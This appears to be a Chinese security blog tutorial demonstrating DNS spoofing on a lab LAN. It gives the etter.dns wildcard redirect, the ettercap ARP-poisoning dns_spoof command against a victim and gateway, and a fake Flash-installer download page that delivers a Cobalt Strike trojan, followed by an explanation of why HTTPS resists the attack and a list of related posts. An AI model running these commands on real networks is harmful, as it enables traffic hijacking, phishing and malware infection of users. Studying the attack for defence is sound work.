0x00 免责声明

本文仅限于学习讨论与技术知识的分享,不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担!

0x01 前言

DNS 全称 Domain Name System ,中文名称为域名系统。 DNS 是因特网的一项内核服务,可以将域名和 IP 地址相互映射,它作为一个分布式数据库能够让用户更加方便连接并使用互联网服务。 DNS 采用树形结构的方式来处理各个域名的分布。

DNS树形结构图

0x02 DNS欺骗原理

DNS 欺骗也可以称为域名劫持, DNS 欺骗是攻击方篡改域名解析结果,将指向到此域名的 IP 地址修改为攻击方指定的 IP 地址。这样就可以使攻击方达到网页钓鱼和域名劫持的目的。

DNS欺骗原理流程图

因为 DNS 协议存在设计缺陷,在 DNS 报文中只使用一个序列号来进行有效性鉴别,并未提供其它的认证和保护手段,这使得攻击者可以轻松监听到查询请求数据,并伪造 DNS 应答包给 DNS 客户端,从而实现 DNS 欺骗攻击。

0x03 DNS攻击类型

DNS欺骗:当然,本文就是采用这种方式。攻击方欺骗用户访问到建立好的虚假网站或钓鱼网站达到攻击目的。

DNS重绑:DNS 重绑利用浏览器缓存欺骗用户浏览器键入域名时同时链接恶意站点。

DNS隧道:DNS 隧道主要是一种方法,通过 DNS 隧道可以绕过防火墙或网站过滤器,并建立数据传输通道。

DNS拼写仿冒:DNS拼写仿冒是社工技术的一种方法,攻击方注册一个和网站相似的域名来混淆用户。常见在登录密码以及识别验证方面。

0x04 环境说明

kali虚拟机(192.168.1.3)
windows 10笔记本(192.168.1.10)
项目地址:https://github.com/NepoloHebo/Art-of-DNS-Deception

文中使用 kali 系统在虚拟机桥接网络的环境下进行示范。演示过程中使用到的工具在 Github 上可以免费下载。演示过程会对地址为 HTTP 协议开头的网站进行 DNS 欺骗演示,至于为什么不使用 HTTPS 协议开头的网站演示后文会做出详细的叙述。

0x05 信息收集

攻击前需要对网关存活的 IP 进行扫描,使用 Namp 端口扫描神器扫一下网关。

查看kali虚拟机的IP地址

ip addr

查看kali虚拟机的网关地址

route -n

使用Nmap扫描192.168.1.1/24网段上有哪些主机是存活的

nmap -sP 192.168.1.1/24

0x06 域名劫持

域名劫持,将通过伪造应答包对目标主机实施欺骗。

使用vim编辑器打开etter.dns文件

vim /etc/ettercap/etter.dns

使用vim编辑器编辑etter.dns文件,保存并退出

*        A    192.168.1.3
*        PTR  192.168.1.3

解释说明:

        * 符号表示通配符,意思是执行 DNS 欺骗后目标主机访问的所有 URL 全部通过 A 记录解析域名到 IP 地址,通过 PTR 记录解析 IP 地址到域名。

启动apache2服务

Apache 是世界使用排名第一的 Web 服务器软件。 kali 系统中可以通过命令启动 apache2 服务,在文中使用 apache2 服务主要用来演示域名劫持和网页挂马。

service apache2 start

查看apache2启动状态

service apache2 status

浏览器访问apache2

192.168.1.3        #kali虚拟机IP地址

使用ettercap命令实现域名劫持

ettercap -i eth0 -T -M arp:remote -P dns_spoof /192.168.1.10// /192.168.1.1//

通过目标主机访问网站进行验证

这里访问了两个基于 HTTP 协议的网址和一个使用 HTTPS 协议的百度。可以发现使用 HTTP 协议的网址均受到 DNS 欺骗,访问时地址被重定向到 kali 主机开启的 apache2 服务中。而 DNS 欺骗对百度不生效。

0x07 网页挂马

文章主要描述 DNS 欺骗其带来的危害性。对于如何使用 CS 免杀制作 Flash 木马捆绑这里不再详细介绍。

将Github下载的项目移动到kali虚拟机中

将Flash-HTML中的js文件和html复制到apache2服务的html文件夹下,Flash插件也一并拽入

/var/www/html        #apache2服务的html目录

修改js文件,设置下载链接,保存并退出

<div id='button' onclick=window.location.href='./flashplayerax_install_cn_web.exe'></div>

解释说明:

./flashpl..._cn_web.exe                #对应目录为 /var/www/html/flash.js

flash/flashpl..._cn_web.exe        #对应目录为 /var/www/html/flash/flash.js

再次使用ettercap命令实现域名劫持

ettercap -i eth0 -T -M arp:remote -P dns_spoof /192.168.1.10// /192.168.1.1//

通过目标主机访问网站进行验证

浏览器会对 http 协议的网站做出提示,如图(2)下载的文件被报告为不安全。当目标主机点击运行 Flash 钓鱼插件后,攻击主机查看监听发现目标主机已经上线。

0x08 为什么无法欺骗HTTPS

通过上述实验已经对 DNS 欺骗有了一定的认识,但是实验过程为什么无法对 HTTPS 协议的网站实施欺骗?因为 HTTPS 协议是基于 HTTP 协议明文通道的基础上增加了 SSL 加密通道。SSL 协议是用于解决传输层安全问题的网络协议。

通过加密保护确保传输数据的机密性,同时也保障了服务器身份的真实性。 SSL 协议对服务器身份的验证,这时使用 DNS 劫持会导致错误请求被驳回这一非法请求。当然,对使用 HTTPS 协议的网站实施 DNS 欺骗也并非无法实现,只不过这一攻击手段颇有挑战。

0x09 参考文献

[1].MBA智库·百科. DNS[EB/OL]. 2014-4-20[2022-09-26]. https://wiki.mbalib.com/wiki/DNS#DNS.E7.9A.84.E5.8A.AB.E6.8C.81.

[2].黑帽子科技. DNS劫持的工作原理及应对方法[EB/OL]. 2021-02-02[2022-09-26]. https://zhuanlan.zhihu.com/p/348711884#:~:text=DNS%EF%BC%88%E5%9F%9F%E5%90%8D%E7%B3%BB%E7%BB%9F,%E7%BD%91%E7%BB%9C%E6%9C%8D%E5%8A%A1%E7%9A%84%E7%9B%AE%E7%9A%84%E3%80%82.

[3].闫伯儒; 方滨兴; 李斌; 王垚. DNS欺骗攻击的检测和防范[C]. //信息科技, 哈尔滨: 哈尔滨工业大学国家计算机信息内容安全重点实验室, 2006-11-05.

[4].我是大王123. DNS安全威胁及未来发展趋势的研究[EB/OL]. [2022-09-26]. https://www.freebuf.com/articles/network/169175.html.

[5].九三. 为什么https可以防止dns劫持[EB/OL]. [2022-09-26]. https://www.yisu.com/ask/872.html.

[6].网络豆. DNS服务器[EB/OL]. [2022-09-26]. https://blog.csdn.net/yj11290301/article/details/127020879?spm=1001.2014.3001.5502.

0x10 总结

由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

DNS欺骗的艺术 | 域名劫持和网页挂马相关推荐

  1. 网络攻防之dns劫持与网页挂马(实测)

    dns劫持与网页挂马 前提工作 --搭建CS(CobaltStrike) CobaltStrike简介 CobaltStrike是一款内网渗透测试神器,常被业界人称为CS. Cobalt Strike ...

  2. Web安全-检测-网页挂马

    网马 网马的本质是一个特定的网页,这个网页包含了攻击者精心构造的恶意代码,这些恶意代码通过利用浏览器(包括控件.插件)的漏洞,加载并执行攻击者指定的恶意软件(通常是木马). 网站挂马是黑客植入木马的一 ...

  3. 金山毒霸四月安全趋势 继续关注网页挂马

    根据三月所观察与收集到的数据,金山毒霸反病毒工程师对4月份的安全形式做出以下估计与提示: 提防木马下载器的再度爆发 整个3月份,病毒团伙的精力都放在制造网页挂马上,猫癣.死牛等传统的木马下载器几乎停止 ...

  4. 解析网页后门与网页挂马原理

    网站被挂马,被植入后门,这是管理员们无论如何都无法忍受的.Web服务器被攻克不算,还"城门失火殃及池鱼",网站的浏览者也不能幸免.这无论是对企业的信誉,还是对管理员的技术能力都是沉 ...

  5. 网页挂马防护市场探索

    据调查表明百分之九十以上的病毒传播途径都是以网页***为主,其实网页***就是将***和网页结合在一起,打开网页的同时也会运行***.最初的网页***原理是利用IE 浏览器的ActiveX控件,运行网 ...

  6. Linux 网页挂马实验,网页挂马详细教程

    网页挂马详细教程 网页挂马详细教程 其实很简单的的,说到原理,就一个:就是在人家网站的主页那里插入一个自己的网马的页面,等有漏洞的人查看了人家网站的主页,那么他就成了你的肉鸡了.. 下面我介绍5种方法 ...

  7. 网页挂码方式html css,CSS代码 解决网页挂马问题

    CSS代码 解决网页挂马问题 发布时间:2009-10-01 02:13:24   作者:佚名   我要评论 两行CSS来解决网页挂马问题,共5种方案. 两行CSS来解决,共5种方案 一. ifram ...

  8. 瑞星4月2日安全综述:网页挂马攻击严重

    4月2日安全综述: 据瑞星"云安全"系统统计,4月2日共有2,501,573人次的网民遭到网页挂马攻击,瑞星共截获了794,761个挂马网址,比昨日多出5万挂马网址. 当日被挂马网 ...

  9. 网页挂马的原理和实现方式

    网页挂马 一.网页挂马介绍 (1).挂马与网马

  10. 如何预防和检测网页挂马?

    在网站优化设计当中,检测网页木马也是很重要的一项工作,目前流行的网站被黑,是在相应的asp,htm,js等文件中,插入以js调用方式的.本文主要介绍网页挂马的种类.如何检测网页是否被挂马.如何清除网页 ...

最新文章

  1. Python+Django+Eclipse 在Windows快速Blog
  2. Leetcode114二叉树转链表-树中修改
  3. 用LIBSVM做回归和预测
  4. [华为机试练习题]55.最大公约数 amp; 多个数的最大公约数
  5. Python: 大型数组运算
  6. 《TCP/IP具体解释》读书笔记(18章)-TCP连接的建立与中止
  7. TrackViewState到底是干什么的
  8. C++的高效从何而来
  9. WinForm中使用WPF的控件
  10. 没事爱在线上制造故障?这位程序媛有话说
  11. Sharepoint学习笔记---Linq to Sharepoint--增,删,改操作
  12. kubernetes视频教程笔记 (35)-使用Helm部署metrics-server
  13. 100%会问的float?
  14. unity3d圣典脚本基础学习C#版本
  15. 初级维修电工实训装置
  16. littleVGL开发(10):事件(EVENT)
  17. 台式计算机启用时间查看,win7系统如何查看电脑的开关机时间想知道是否有他人使用...
  18. ubuntu mate 18.04官网下载,烧录及安装 SSH VNC ROS MAVROS librealsense realsense-ros vision_to_mavros(我自己亲自弄的)
  19. 学校计算机房电脑桌,学校机房用双机位电脑桌的制作方法
  20. Ajax实现跨域请求

热门文章

  1. [论文笔记]JED:Towards Real-Time Multi-Object Tracking
  2. 廖雪峰Git教程学习总结
  3. Smart View的客户化开发
  4. 服务器修改开机启动项,启动项设置_服务器开机启动项
  5. alisql mysql_AliSQL 5.6.32 vs MySQL 5.7.15抢鲜测试
  6. 架构师如何带领团队“攻城略地”?
  7. 《前端工具系列》最好用的git可视化工具——SourceTree
  8. JQuery1.4 JQuery1.7 JQuery1.8 JQuery1.11中文帮助文档
  9. 教大家一个快速批量去水印下载快手视频、图集的方法技巧
  10. 【OpenCV】绘图与注释——绘制色差图